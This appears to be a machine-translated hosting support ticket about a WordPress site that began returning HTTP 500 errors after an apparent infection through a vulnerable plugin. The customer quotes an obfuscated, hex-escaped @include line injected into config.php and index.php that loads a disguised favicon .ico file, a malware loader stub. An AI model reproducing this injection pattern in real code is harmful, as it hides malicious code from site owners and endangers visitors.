| Question: |
Hello. When entering the website, the message \"Page nedostupnost gidemilia-romagna.ru still can not process that request. HTTP ERROR 500\". In the morning all worked fine, no work today on the site were conducted, but the site stopped loading. You need to solve the problem, why it happened. |
| Answer: |
Hello.
please Do a trace to Your domain: start - run - enter cmd - in the black window enter tracert YOUR DOMAIN - after click to highlight - making enter - skopirovat here in the ticket If You are experiencing zatrudina, view instructional videos http://ded07.net/helphost/tracert.htm |
| Question: |
Tracing route to gidemilia-romagna.ru [188.123.125.250]with the maximum number of jumps 30: 1 <1 MS <1 MS <1 MS 192.168.1.1 2 42 ms 49 ms 39 ms 10.10.50.56 3 * * * timed out for the request. 4 45 ms 49 ms 49 ms node5nsk.beelinegprs.ru [217.118.79.5] 5 58 ms 49 ms 49 ms pe03.Nsk.gldn.net [194.67.59.33] 6 127 ms 119 ms 119 ms mx01.Stockholm.gldn.net [79.104.235.70] 7 128 ms 129 ms 109 ms ae5.stoccolma1.sto.seabone.net [185.70.202.138] 8 178 ms * 165 ms xe8-0-0.praga2.pra.seabone.net [79.140.90.138] 9 164 ms 159 ms 159 ms pro-zeta-34.praga2.pra.seabone.net [195.22.215.34] 10 * * 95.173.208.104 11 166 ms 165 ms 179 ms 169 ms 37-40.prozeta.net [185.2.40.37] 12 168 ms 159 ms 179 ms hosted-by.enahost.com [188.123.125.250]Trace complete. |
| Answer: |
utochnyat you merelina the website before doing this |
| Question: |
Nothing. Yesterday I added one page and all this morning all worked well. No settings was done, it didn`t load plugins, too, was not raised and was not updated (unless WordPress has been updated). |
| Answer: |
this may be the reason. you can check is updated or not? |
| Question: |
No, not been updated. The readme file in the root of version 4.8. On another site yesterday there was an update to 4.8.1. He wasn`t here. |
| Answer: |
we proskakivala website an viruses he`s infected. http://gidemilia-romagna.ru/AI-BOLIT-REPORT-__-698433-04-08-2017_19-21.html presumably using the plugin revslider that has a vulnerability. |
| Question: |
Files config.php and index.php there are at the very beginning of the line like /*6513d*/@include \"\\x2fhome\\x2fines\\x73a/pu\\x62lic_\\x68tml/\\x77p-in\\x63lude\\x73/IXR\\x2ffavi\\x63on_1\\x6302fd\\x2eico\";/*6513d*/They did not have before, and in the distribution of WordPress they are not. |
| Answer: |
scan a website for viruses
it is infected
http://gidemilia-romagna.ru/AI-BOLIT-REPORT-__-698433-04-08-2017_19-21.html |
| Question: |
Well, thank you. Remove and re-put everything. |
| Answer: |
ok |
